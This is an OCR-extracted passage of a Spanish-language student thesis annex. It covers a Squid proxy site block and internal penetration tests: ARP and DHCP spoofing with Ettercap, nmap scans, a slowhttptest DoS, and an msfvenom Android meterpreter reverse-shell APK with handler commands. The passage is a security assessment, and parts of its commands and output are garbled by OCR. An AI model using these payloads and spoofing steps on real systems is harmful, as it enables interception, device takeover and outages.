Figura 35 Copia de archivo como respaldo

Para facilitar la edicion, en el editor de texto nano se presiona CTRL+W y se escribe
la palabra INSERT para realizar la busqueda dentro del archivo.

admin@debian-monitoreo: /etc/squid

GNU nano 5.4 squid.conf *
http_access deny COMNECT !SSL_ports

htt

htt

/squid/paginas_d as" 34

Figura 36 Editar parametros de configuracion
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En este caso se agrega la direccion IP del servidor en visible_hostname y en acl se
coloca el nombre del archivo creado anteriormente que contiene las direcciones a las
cuales no se podra acceder asi como la ruta en la que se encuentra. En la parte de
http_access se deniega colocando el nombre del archivo.

Dentro del mismo archivo se debe editar un pardmetro més, cambiando el all por el
nombre del archivo con las URL a las que no se podra acceder.

Figura 37 Editar parametros de acceso

5. Una vez editado el archivo, se reinicia el servicio y se verifica que esté en
funcionamiento.

admin@debian-monitoreo: /etc/squid

Figura 38 Reiniciar servidor Squid

6. En las maquinas se debe especificar la IP del servidor proxy y el puerto como
se muestra a continuacion.

Proxy

Configuracién manual del proxy

Figura 39 Definir IP de servidor en equipos 35
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7. Por ultimo de debe compobar que no se puede acceder a las paginas
especificadas en el archivo.

* Youlube

Conéctate a Internet

No

Figura 40 Acceso denegado a dominio

5

No se puede acceder

Figura 41 Acceso denegado

En este caso, se denegd el acceso a Facebook y YouTube por lo que cualquier
maguina con este servidor, no podra acceder.

Anexo 3. Pruebas de penetracion
ARP Spoofing

Mediante Ettercap se realiz6 un escaneo de la red para detectar los hosts y sus
direcciones IP y direcciones MAC.
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Ettercap

H Q

Host List x

IP Address MAC Address Description
192.168

11:b677 A4:FC
AdFC

Delete Host Add to Target 1 Add to Target 2

cified, not starting up!
Starting Unified sniffing...

Randomizing 255 hosts for scanning...
e W or 255 hosts...
4 hosts added to the hosts list...

Figura 42 Detectar dispositivos

Una vez identificados los dipositivos, se realiza el ataque MITM como ARP Poisoning
seleccionando la direccion IP a vulnerar y la direccion IP de la puesta de enlace.

Target 1: Direccion IP del dispositivo a vulnerar.

Target 2: Direccion IP que se va a suplantar.

E Q Ettercap
HostList x

IP Address MACAddress Description

192.168

192168

o Stop MITM attack(s)
192.168.
SSL Intercept

Delete Host Add to Target 1 Add to Target 2

——

Randomizing 255 hosts for scanning...

to the hosts list...
added to TARGET1
added to TARGET2

Figura 43 Seleccionar dispositivos

Una vez iniciado el ataque, es posible analizar el trafico de la red mediante Wireshark.
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e *eth0

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
AODOA® +t BEE @ ¢« >n « »>»>EE oo o B
N |tcp X = | ] o

Source Destination Protocol Length Info
.869016171 14e42:3F:: :2f@:7100: fd
.869016212 ided23f :2f0:7100:
.869016252 :2fe:7160: 14e42:3f::
.869016282 :4642:31‘: : :2f0:7100:
.869016322 :4e42:3F: :2f@:7100:
.869016352 21:@ Tlﬁ)@ ]
.152882792 1

.152883293 H RIS D

Intmnpt Pmtn: nl VPL.lnﬂ G SRCEN
on Control Pmtn: nl Sn

3e

a6
bb
ds
as
2 be

@ M

I':J o ¢

Frame (691 bytes)  Reassembled TCP (8190 bytes)
® E Transmission Control Protocol: Protocol: Packets: 374 - Displayed: 240 (64.2%) : Profile: Default

Figura 44 Interceptar pagquetes

NMAP

Mediante NMAP y con las direcciones IP obtenidas anteriormente, se realiz6 un
escaneo de los host para determinar la existencia de puertos abiertos y recabar
informacion sobre los dispositivos. En este caso, se realiz6 un escaneo a un host en
especifico y al puerto 80.

root@kali: /home/kali

File Actions Edit View Help

/home/kali
192.168.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-05 19:50 EST
Nmap scan report for 192.168.
Host is up (0.00022s latency).

PORT STATE SERVICE
80/tcp filtered http
MAC Address: A4:FC: (Mega Well Limited)

Nmap done: 1 IP address (1 host up) scanned in 0.38 seconds
Figura 45 Escaneo de hosts
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Ahora se realiza un escaneo completo a todos los puertos del dispositivo para
determinar que puertos se encuentran en funcion y su estado.

nmap —p- =-stats-every=10s —v 192.168.x.x
-p- : Escaneo de todos los puertos del dispositivo.
=-stats-every=10s: Envia mensajes del analisis en proceso cada 10 segundos.

=v: Envia un informe en caso de encontrar un puerto abierto.

. [home/kali root@kali: fnome/kali

File Actions Edit View Help

Discovered open port 57621/tcp on 192.168.

Discovered open port 6646/tcp on 192.168.

Stats: 0:07:00 elapsed; @ hosts completed (1 up), 1 undergoing SYN Stealt
h Scan

SYN Stealth Scan Timing: About 84.30% done; ETC: 20:00 (0:01:18 remaining
)

Stats: 0:07:10 elapsed; @ hosts completed (1 up), 1 undergoing SYN Stealt
h Scan

SYN Stealth Scan Timing: About 95.59% done; ETC: 20:00 (0:00:20 remaining
)

Completed SYN Stealth Scan at 19:59, 433.80s elapsed (65535 total ports)
Nmap scan report for 192.168.

Host is up (0.00056s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE

5040/tcp open unknown

5357/tcp open wsdapi

6646/tcp open unknown

7680/tcp open pando-pub

57621/tcp open unknown

MAC Address: A4:FC: (Mega Well Limited)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 433.94 seconds
Raw packets sent: 131129 (5.770MB) | Rcvd: 69 (3.020KB)

/home/kali

Figura 46 Informe de puertos encontrados

Los puertos de un dispositivo pueden encontrarse en 6 estados:

e Abierto: La aplicacion acepta conexiones TCP o UDP.

e Cerrado: El puerto recibe paquetes pero no hay ninguna aplicacion a la
escucha.

e Filtrado: Los paquetes no llegan al puerto, lo que indica que puede existir algun
cortafuego.

¢ No filtrado: El escaneo no es suficiente para identificar el estado del puerto.

39




s
O
rcv

UNIVERSIDAD TECNOLOGICA
DEL CENTRO DE VERACRUZ

e Abierto | filtrado: No se ha determinado si el puerto se encuentra abierto o

filtrado.

e Cerrado | filtrado: No se ha determinado si el puerto se encuentra abierto o

filtrado.
inimize all open windows and show the desktop  opal;

File Actions Edit View Help

open port : 8/ on

open r Lb4, on

ed open rt 3j an

ed open port 49¢ on
D:90:1@ elapsed; 1 undergoing SYN Stealt

20:25 (@ @4 remaining

elapsed (65535 total ports)
for 19:
)17s latency).
Not shown: 65525 closed tcp ports (reset)
POR STATE SERVICE
2 filtered ssh
open telnet
open domain
apen http
filtered oa-system
apen unknown
open unknown
open unknown
open unknown
open unknown
MAC Address: E4:3E: (Huawel Technologies)

Read data files from: fusr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 15.15 seconds

Figura 47 Puertos descubiertos

Posteriormente se realizo el siguiente escaneo:
nmap -p- =15 -sV 1@ -n Bl BBl servicios 192.168.x.x
-p- : Escaneo de todos los puertos del dispositivo.
=I5: Se establece la velocidad del escaneo en una escala del O al 5.
-sV: Permite identificar las versiones del dispositivo.

B8: |dentifica el sistema operativo de la maquina.
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-n: Deshabilita la resolucion de DNS.
B : Genera salidas conforme se realiza el escaneo.
=eEll - Se centra en los puertos abiertos.

Bl : Genera un archivo para visualizar posteriormente.

Starting Nmap 7.93 ( https://nmap.org ) at 2023-83-85 28:33 EST

NSE: Loaded 45 scripts for scanning.

Initiating ARP Ping Scan at 208:33

Scanning 192.168. [1 port]

Completed ARP Ping Scan at 20:33, 0.04s elapsed (1 total hosts)

Initiating SYN Stealth Scan at 28:33

Scanning 192.168.188.8 [65535 ports]

SYN Stealth Scan Timing: About 4.48% done; ETC: 208:44 (8:11:01 remaining)
SYN Stealth Scan Timing: About 9.82% done; ETC: 208:44 (8:18:15 remaining)
SYN Stealth Scan Timing: About 13.57% done; ETC: 20:44 (©0:09:40 remaining)
SYN Stealth Scan Timing: About 18.56% done; ETC: 20:44 (8:09:84 remaining)
SYN Stealth Scan Timing: About 23.56% done; ETC: 20:44 (B8:08:29 remaining)
Discovered open port 7688/tcp on 192.168.

SYN Stealth Scan Timing: About 38.78% done; ETC: 20:43 (B8:07:88 remaining)
Discovered open port 5848/tcp on 192.168.

Discovered open port 57621/tcp on 192.168.

SYN Stealth Scan Timing: About 81.74% done; ETC: 20:37 (B8:08:48 remaining)
Discovered open port 5357/tcp on 192.168.

Completed SYN Stealth Scan at 28:37, 224.84s elapsed (65535 total ports)
Initiating Service scan at 208:37

Scanning 4 services on 192.168.

Service scan Timing: About 58.80% done; ETC: 20:38 (8:08:33 remaining)

Network Distance: 1 hop

TCP Sequence Prediction: Difficulty=255 (Good luck!)

IP ID Sequence Generation: Incremental

Service Info: 05: Windows; CPE: cpe:/o:microsoft:windows

Read data files from: fusr/bin/../share/nmap
0S5 and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .

Mmap done: 1 IP address (1 host up) scanned in 394.89 seconds
Raw packets sent: 131184 (5.777MB) | Rcvd: 5@ (2.288KB)

Figura 48 Informacion encontrada

Msfvenom

Para esta prueba se ejecuto el siguiente comando en la terminal de Kali:
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root(@kali: fhomefkali

File Actions Edit View Help

/home/kali
android/meterpreter/reverse_tcp LHOST=192.168.180.17 LPORT
Jhome/kali/Desktop/Agenta.apk

Figura 49 Creacion de Payload

-p: Sirve para especificar la ruta del payload, que en este caso es
android/meterpreter/reverse_tcp.

LHOST: Direccion IP de la maquina Kali.

LPORT: Numero de puerto al que la maquina vulnerada se conectara.

-0: Indicar que el archivo sera ejecutable.

Por ultimo se especifica en donde se guardara el payload y se le asigna un nombre a
este con la extension .apk

Posteriormente, se ejecutdé un script creado con el nombre “comandos” mediante el
comando: msfconsole -r comandos

El archivo comandos, contiene los siguientes parametros:

Jhome/kali
comandos
exploit/multi/handler
t payload android/meterpreter/reverse_tcp
LHOST 192.168.10@.17
LPORT 666
exploit

i

5
et

(3]
=+

u
5
set
5
e

b

Figura 50 Archivo de comandos

DDOS

Mediante la herramienta slowhttptest se realizé un ataque de DDOS al DNS.

root@ kali: fhomelkali

File Actions Edit View Help

Shome/kali

Figura 51 Ataque DDOS
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-c : Conexiones que se realizaran.
-H : Modo de encabezados estandar.
-g : Envia estadisticas del proceso.

-i : Tiempo de espera para los datos.
-r : Conexiones con el método GET.
-l : Tiempo de prueba en segundos.

-u : URL del objetivo

root@kali: /home/kali

File Actions Edit View Help
Fri Mar 17 16:29:44 2023:

Fri Mar 17 16:29:44 2023:
slow HTTP test status on 45th second:

initializing: *]

Figura 52 Ataque inicializado

Una vez realizado el ataque, el servidor no sera capaz de seguir funcionando por lo
que el dominio no estara disponible.

root@kali: /lhome/kali

File Actions Edit View Help

Fri Mar 17 16:31:29 2023:
slow HTTP test status on 150th second:

initializing: <]
pending: 1189
ed: 280
]
1685

service available:

Figura 53 Ataque finalizado
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& C (@ tellodguez.com

B

No se puede acceder a este sitio web

tellodguez.com ha ta

Figura 54 Dominio no disponible

DHCP Spoofing
Mediante Ettercap se selecciona la opciéon de DHCP spoofing y se establecen los

siguientes parametros:

IP Pool: El rango de direcciones IP que se asignaran.

e Netmask: Mascara de la red.
e DNS Server IP: Direccién IP del atacante.

Cancel MITM Attack: DHCP Spoofing

Server Information

IP Pool (optional)

? Netmask 255.255.255.0

DNS Server IP

-> COMMUNITY: public INFO: SNMP v1
-> COMMUNITY: internal INFO: SNMP v1
-> COMMUNITY: public INFO v2
-> COMMUNITY: internal INFO: SNMP v2

Figura 55 Parametros de DHCP
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Ahora en el equipo se ejecuta el comando ipconfig/release y posteriormente
ipconfig/renew. Autométicamente se detectara el cambio de direccion IP en la red.

Ettercap

SNMP : 192.168. -> COMMUNITY: public INFO: SNMP v1
SNMP : 192.168. MMUNITY: internal INFO: SNMP v1

SNMP :192.168. MMUNITY: public INFO: SN

SNMP : 192.168. -> COMMUNITY: internal INFO: SNMP v2
DHCP spoofing: using specified ip_pool, netmask 255.255.255.0, dns
DHCP: [A4:FC: DISCOVER

DHCP spoofing: fake OFFER [A4:FC: ] offering 192.168.

DHCP: [192.168. ] OFFER : 192.168. 255.255.255.0 GW 192.168
DHCP: [ ] DISCOVER

DHCP spoofing: fake OFFER | A4:FC: ] offering 192.168.

DHCP: [192.168. ( :192.168. 255.255.255.0 GW192.168. DNS 4.4.4.4
DHCP: [192.168. ] OFFER :192.168. 255.255.255.0 GW 192.168. DNS192.168.

DHCP: [A4:FC: ]REQUEST 192.168.
DHCP spoofing: fake ACK [A4:FC: ] assigned to 192.168.
DHCP: [192.168. JACK:192.168. 255.255.255.0 GW 192.168 DNS 192.168.

Figura 56 Suplantacion de direccion IP

Como se muestra, la direccion del atacante ha suplantado la direccion de puerta de

enlace predeterminada en el equipo mediante los parametros

anteriormente.

\daptador de LAN inalambrica Wi-Fi:

cifico para la co

introducidos

Figura 57 Parametros de DHCP suplantados

Netdiscover

Se realizé un escaneo de la red mediante el siguiente comando:
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Jhome/kali

192.168. /24

Figura 58 Escaneo con Netdiscover

Una vez terminado el escaneo, se obtuvieron los siguientes resultados:

File Actions Edit View Help
Currently scanning: Finished! | Screen View: Unigue Hosts
7 Captured ARP Req/Rep packets, from & hosts. Total size: 420
At MAC Address Count Len MAC Vendor / Hostmame

HUAWEI TECHNOLOGIES CO.
Mega 11 Limited

Figura 59 Dispositivos obtenidos

Anexo 4. Informe de vulnerabilidades
Pruebas de penetracion interna

Este tipo de pentesting consiste en realizar pruebas desde la red interna de la empresa
con la finalidad de determinar las vulnerabilidades a las que se puede tener acceso y
posteriormente explotar con un fin poco ético.

Ettercap (ARP Spoofing)

El ARP Spoofing es un ataque de tipo MITM (Man In The Middle) en donde se puede
lograr la intercepcion de la comunicacion de la red entre los usuarios e internet
mediante el envio de mensajes falsos para asociar la direccion MAC del atacante con
la direccion IP de la victima.

Nmap
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Nmap (Network Mapper) funciona como un explorador y auditor de redes cuya
informacion obtenida va desde la deteccion de host, escaneo de puertos y servicios
hasta el reconocimiento de sistemas operativos, la existencia de firewalls entre otros.
Netdiscover

Esta herramienta esta desarrollada para conexiones inalambricas, permite la
deteccion de hosts en la red mediante la difusion de solicitudes ARP logrando
interceptar el trafico de red.

Msfvenom (Ataque de payload)

Este tipo de ataque consiste en generar una puerta de entrada en el sistema ya sea
un computador o dispositivo movil permitiendo el acceso a la informacién, ejecucion
de cddigo malicioso, propagacion de malware, cifrar archivos del sistema entre otros.
DDOS

Un ataque de Denegacion de Servicios Distribuida tiene el objetivo de interrumpir las
actividades de un dispositivo. Esto mediante la sobrecarga de un equipo generando
un gran volumen de trafico de red haciéndolos inaccesibles.

DHCP Spoofing

Un ataque de DHCP Spoofing consiste en la asignacion no autorizada de parametros
de configuracion DHCP como una direccion IP, servidor DNS y puerta de enlace.
Mediante este método, el atacante se coloca como intermediario en la comunicacion
de la red.

Vulnerabilidades encontradas

Ettercap (ARP Spoofing)

Al realizar ataques de ARP Spoofing se logro identificar la siguiente informacion:

e Hostdelared
e Direccion IP de host
e Direccion MAC de dispositivos

e Tréafico de red
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Nmap
Una vez identificados los dispositivos y sus direcciones IP, se realizdO un escaneo
obteniendo la siguiente informacion:

e Puertos abiertos

e Servicios de cada puerto

e Sistema operativo de los dispositivos

e Tipo de dispositivo de puerta de enlace

e MAC address

Netdiscover

Utilizando esta herramienta se logré obtener informaciéon como:
e Direccién IP de hosts
e Direcciones MAC

e Nombre de los dispositivos

Msfvenom (Ataque de payload)
Generando un archivo apk instalable en dispositivos android, de logro establecer una
puerta trasera permitiendo realizar acciones como:

e Acceder a mensajes de texto

e Acceder al registro de llamadas

e Tomar fotos mediante la camara del dispositivo

e Conocer la ubicacion del dispositivo

DDOS

Se realiz6 un ataque DDOS a los dispositivos para inhabilitarlos haciendo uso de la
direccion IP obtenida anteriormente.

DHCP Spoofing

Haciendo uso de los parametros obtenidos anteriormente, se realiz6 un ataque DHCP

Spoofing logrando suplantar el servidor DHCP de la red.
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